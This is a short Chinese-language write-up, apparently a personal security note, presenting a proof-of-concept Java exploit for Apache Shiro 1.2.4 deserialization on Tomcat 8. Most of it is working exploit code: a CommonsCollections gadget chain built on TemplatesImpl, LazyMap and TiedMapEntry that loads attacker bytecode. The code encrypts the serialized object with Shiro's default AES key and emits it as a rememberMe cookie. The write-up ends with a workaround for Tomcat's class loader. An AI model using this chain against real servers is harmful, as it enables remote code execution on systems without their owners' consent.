环境 Shiro1.2.4(小于1.2.4) + Tomcat8
    Shiro+Tomcat反序列化,手动添加CC依赖,下面是POC

    1. public class cc6shiro {
    2. public static byte[] payload() throws Exception {
    3. ClassPool pool = ClassPool.getDefault();
    4. CtClass clz = pool.get(bad.evilClz.class.getName());
    5. byte[] shellcode = clz.toBytecode();
    6. TemplatesImpl tmpl = new TemplatesImpl();
    7. Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
    8. Reflections.setFieldValue(tmpl,"_name","testName");
    9. Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
    10. // tmpl.getOutputProperties();
    11. Transformer transformerChain = new InvokerTransformer("getClass",null,null);
    12. Map map = new HashMap();
    13. Map lazyMap = LazyMap.decorate(map,transformerChain);
    14. // LazyMap在调用get方法的时候会触发transformer.transform
    15. TiedMapEntry tMap = new TiedMapEntry(lazyMap,tmpl);
    16. // TiedMapEntry的hashcode会调用getValue方法,getValue方法中会调用this.map.get方法.
    17. // lazyMap.remove("keykey");
    18. Map expMap = new HashMap();
    19. expMap.put(tMap, "valuevalue");
    20. // 要使得Key不存在.调用get方法时才能触发transform方法.
    21. lazyMap.clear();
    22. Reflections.setFieldValue(transformerChain,"iMethodName","getOutputProperties");
    23. return Serializer.Serialize(expMap);
    24. }
    25. public static String getPayload() throws Exception{
    26. byte[] payload = payload();
    27. AesCipherService aes = new AesCipherService();
    28. byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    29. ByteSource ciphertext = aes.encrypt(payload, key);
    30. return "rememberMe="+ ciphertext.toString();
    31. }
    32. }

    难点: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误
    因为Shiro+Tomcat的环境下,Tomcat会调用自身的类加载器,比较特殊。
    方法是修改下面的链:抽离 tmpl 为 Map 的 Key即可. 这是之前没用用到的点.

    1. Transformer[] transformers = new Transformer[]{
    2. new ConstantTransformer(tmpl),
    3. new InvokerTransformer("newTransformer",null,null),
    4. };